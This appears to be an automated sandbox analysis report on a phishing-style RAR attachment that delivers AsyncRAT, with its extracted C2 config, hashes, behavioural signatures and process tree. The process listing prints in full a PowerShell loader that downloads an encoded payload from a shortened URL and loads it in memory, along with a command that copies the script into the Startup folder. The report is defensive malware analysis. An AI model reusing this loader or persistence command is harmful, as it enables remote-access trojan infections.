Analysis
- max time kernel
146s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system - submitted
08/03/2024, 16:11
Static task
static1
Behavioral task
behavioral1
Sample
Adjunto Radicado Nº 2958474820230413.rar
Resource
win7-20240221-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
Adjunto Radicado Nº 2958474820230413.rar
Resource
win10v2004-20240226-en
13 signatures
150 seconds
General
- Target Adjunto Radicado Nº 2958474820230413.rar
- Size 2KB
- Sample240308-tnc3wabd97
- SHA256 9465ccad9b77e9e73481a6b25c38f3bbecc89d996a5f7cb4082bd28bc845a505
- MD5 f1f90b16c380dcb8cdfe11867ba15928
- SHA1 afd61955b022058917883489c769a0c49667f472
- SHA512 3fae45de8844422e1eb29c9c5424e5ff41e57445da9b3170e4dd6bb0ee9eae61bc31fb34e45a597b7e84006594a58bb9e98643a1ade8176179db1a3d0dd61404
- MD5 SHA1 SHA512
Score
10/10
Malware Config
Extracted
Family
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asyncrat
Version
-
1.0.7
Botnet
-
febrary 22
C2
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pooldiaz14.duckdns.org:6000
Mutex
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Adminhgfjytrdjklcdsawzr
Attributes
-
delay
3
-
install
false
-
install_folder
%AppData%
aes.plain
Signatures
- Blocklisted process makes network request 6 IoCs
flow pid Process 55 5100 powershell.exe 58 5100 powershell.exe 61 5100 powershell.exe 62 1904 powershell.exe 63 1904 powershell.exe 65 1904 powershell.exe - Checks computer location settings 2 TTPs 3 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation WScript.exe Key value queried \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000\Control Panel\International\Geo\Nation cmd.exe - Drops startup file 3 IoCs
description ioc Process File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Adjunto Radicado Nº 2958474820230413.VBS powershell.exe - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 5100 set thread context of 3440 5100 powershell.exe 120 PID 1904 set thread context of 4572 1904 powershell.exe 121 - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Modifies registry class 2 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings cmd.exe Key created \REGISTRY\USER\S-1-5-21-3270530367-132075249-2153716227-1000_Classes\Local Settings 7zFM.exe - Suspicious behavior: EnumeratesProcesses 54 IoCs
pid Process 1180 7zFM.exe 1180 7zFM.exe 1624 powershell.exe 976 powershell.exe 1624 powershell.exe 976 powershell.exe 976 powershell.exe 1624 powershell.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 1180 7zFM.exe 1180 7zFM.exe 620 powershell.exe 336 powershell.exe 336 powershell.exe 620 powershell.exe 336 powershell.exe 620 powershell.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 5100 powershell.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1904 powershell.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe - Suspicious behavior: GetForegroundWindowSpam 1 IoCs
pid Process 1180 7zFM.exe - Suspicious use of AdjustPrivilegeToken 12 IoCs
description pid Process Token: SeRestorePrivilege 1180 7zFM.exe Token: 35 1180 7zFM.exe Token: SeSecurityPrivilege 1180 7zFM.exe Token: SeSecurityPrivilege 1180 7zFM.exe Token: SeSecurityPrivilege 1180 7zFM.exe Token: SeDebugPrivilege 976 powershell.exe Token: SeDebugPrivilege 1624 powershell.exe Token: SeDebugPrivilege 5100 powershell.exe Token: SeDebugPrivilege 336 powershell.exe Token: SeDebugPrivilege 620 powershell.exe Token: SeDebugPrivilege 1904 powershell.exe Token: SeDebugPrivilege 3440 RegAsm.exe - Suspicious use of FindShellTrayWindow 5 IoCs
pid Process 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 1180 7zFM.exe 4300 notepad.exe - Suspicious use of SetWindowsHookEx 1 IoCs
pid Process 4300 notepad.exe - Suspicious use of WriteProcessMemory 38 IoCs
description pid Process procid_target PID 3256 wrote to memory of 1180 3256 cmd.exe 89 PID 3256 wrote to memory of 1180 3256 cmd.exe 89 PID 1180 wrote to memory of 880 1180 7zFM.exe 95 PID 1180 wrote to memory of 880 1180 7zFM.exe 95 PID 1180 wrote to memory of 4320 1180 7zFM.exe 103 PID 1180 wrote to memory of 4320 1180 7zFM.exe 103 PID 1180 wrote to memory of 4300 1180 7zFM.exe 106 PID 1180 wrote to memory of 4300 1180 7zFM.exe 106 PID 880 wrote to memory of 1624 880 WScript.exe 107 PID 880 wrote to memory of 1624 880 WScript.exe 107 PID 880 wrote to memory of 976 880 WScript.exe 108 PID 880 wrote to memory of 976 880 WScript.exe 108 PID 1624 wrote to memory of 5100 1624 powershell.exe 111 PID 1624 wrote to memory of 5100 1624 powershell.exe 111 PID 1624 wrote to memory of 5100 1624 powershell.exe 111 PID 4320 wrote to memory of 620 4320 WScript.exe 114 PID 4320 wrote to memory of 620 4320 WScript.exe 114 PID 4320 wrote to memory of 336 4320 WScript.exe 116 PID 4320 wrote to memory of 336 4320 WScript.exe 116 PID 620 wrote to memory of 1904 620 powershell.exe 118 PID 620 wrote to memory of 1904 620 powershell.exe 118 PID 620 wrote to memory of 1904 620 powershell.exe 118 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 5100 wrote to memory of 3440 5100 powershell.exe 120 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121 PID 1904 wrote to memory of 4572 1904 powershell.exe 121
Processes
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C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado Nº 2958474820230413.rar"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3256 -
C:\Program Files\7-Zip\7zFM.exe"C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Adjunto Radicado Nº 2958474820230413.rar"2⤵
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1180 -
C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:880 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1624 -
\??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile5⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5100 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵
- Suspicious use of AdjustPrivilegeToken
PID:3440
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"4⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:976
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-
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS"3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4320 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -c "$RR = {$L = (iwr 'https://tinyurl.com/5t2f3nkw' -UseBasicParsing).Content;For ($i=0; $i -lt $L.Length; $i++) {$L[$i] = [System.BitConverter]::GetBytes($L[$i] - 1241)[0];};[System.Reflection.Assembly]::Load($L).CreateInstance('B');};If($env:PROCESSOR_ARCHITECTURE -ne 'x86'){$J = Start-Job $RR -RunAs32;$J | Wait-Job | Receive-Job}Else{$RR.Invoke();}"4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:620 -
\??\c:\windows\syswow64\windowspowershell\v1.0\powershell.exe"c:\windows\syswow64\windowspowershell\v1.0\powershell.exe" -Version 5.1 -s -NoLogo -NoProfile5⤵
- Blocklisted process makes network request
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1904 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"6⤵PID:4572
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -c "Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\7zOC9456887\Adjunto Radicado Nº 2958474820230413.VBS' -Destination ([System.Environment]::GetFolderPath([System.Environment+SpecialFolder]::Startup))"4⤵
- Drops startup file
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:336
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C:\Windows\notepad.exe"C:\Windows\notepad.exe" "C:\Users\Admin\AppData\Local\Temp\7zOC94897D7\Adjunto Radicado Nº 2958474820230413.VBS"3⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
PID:4300
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc1⤵PID:3536
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 b1f292b6199aa29c7fafbca007e5f9e3f68edcbbca1965bc828cc92dc0f18bb8
- MD5 6cf293cb4d80be23433eecf74ddb5503
- SHA1 24fe4752df102c2ef492954d6b046cb5512ad408
- SHA512 0f91e2da0da8794b9797c7b50eb5dfd27bde4546ceb6902a776664ce887dd6f12a0dd8773d612ccc76dfd029cd280778a0f0ae17ce679b3d2ffd968dd7e94a00
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 57KB
- SHA256 2bfd8c972f6bb05ae1adca5237a7210d569fb1f9662ad4dd6bfc4e00e88d17ba
- MD5 6c73df1bb0c83bf158c1aebc058fbdd2
- SHA1 c3f64dbe2337cf4be331efaed86e600076d613cf
- SHA512 a9093e7a6808cbe9aa86eb9eb1d50513e942800da5ffc9685c670a34d2349019caa65705dcd6e959de4b066673e3c45b64b5a94b7589c057817ec61eb65188e6
- SSDEEP 1536:u5C+jH04tAHkjUpx9SMrxyNhftflJdGYoFi3j39MVvjMlUstzyhNOwUp7bNvv+EN:eC+jH04tAHkjUpxwMrxyNhftflJdGYow
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
- Size 53KB
- SHA256 da32a79a8e04cbafb1c5980b3d6225f4705010df5eb45d464cd5bf6b642d7841
- MD5 93678e82d776686aa54c42b8a98e6cbc
- SHA1 802939dfed99ac74814c4371388b204c5810241d
- SHA512 0b412a1e11c0639d72f6a58c661ecc43da021c010c4d1e66051c5a376ebab287480bbf663345c9bd2a79ec3a35a9788cf04d74d612449f76fe2c87576cd13520
- SSDEEP 1536:XC+jH04tAHkjUpx9SMrxyNhftflJdvYoFi3j39MVvjMlUst+hNOwUp7bNvv+EGa7:XC+jH04tAHkjUpxwMrxyNhftflJdvYoy
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 50392db8d91a32d005a42c948cd844a98ceb77cd75568fbfbaa8502cd7e647d9
- MD5 1210cebda73d42bf3b89b886f675d028
- SHA1 095f6fa5607982484cbcee91ccf11baf2838b3ae
- SHA512 34eed18a950414e747d1f66c49901747e1e1b939293df073e38dbc1e5c650a837828de9326014bc833131ccacb4a436258eb0b9c1823e1e4273ff0fb8ebeb99a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 9d6a84890cc592eee811a3543d27900116c3434cdc06e61b838be98287d2460a
- MD5 a8741a9f10cda1c211da7dcf3fd66f05
- SHA1 d5b42e4db9369ffd9e514e94d0d4ce7fc5d31cf8
- SHA512 f06d6784f392a22a556fadae6e7dfc563a8c8993531b2ac5c68da127b6ad8f6a52ed558c06704626aba68c7ad1dc1aa72fa66b248c9ce9d2ea57532aaa77497a
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 64B
- SHA256 46e488628e5348c9c4dfcdeed5a91747eae3b3aa49ae1b94d37173b6609efa0e
- MD5 50a8221b93fbd2628ac460dd408a9fc1
- SHA1 7e99fe16a9b14079b6f0316c37cc473e1f83a7e6
- SHA512 27dda53e7edcc1a12c61234e850fe73bf3923f5c3c19826b67f2faf9e0a14ba6658001a9d6a56a7036409feb9238dd452406e88e318919127b4a06c64dba86f0
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Local\Temp\7zOC94BBA57\Adjunto Radicado Nº 2958474820230413.VBS
- Size 38KB
- SHA256 e006c255d66a4eba50c26fffddda6f415d165a16eff5658413312d05c5f50173
- MD5 694130ab2fc09dcc214552889aace006
- SHA1 22d21b70a2a9627f71e3d01ad12a9c216a3d8fd0
- SHA512 e84f4895186ac40ea5fb8b980ffcd91a1e5b6aac5814040113be35342f0555e25414887c1f466e57e2512d85f06b5b40848687eda76fb259787d21b35bd5c329
- SSDEEP 192:MzG4jyGd5rXKrRAOjjFxK1T3KrpKrNZFkcKhmU:MzG4jyGLrKrqOjiBKrpKrNgjX
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ku5ghr1i.ozz.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- MD5 SHA1 SHA512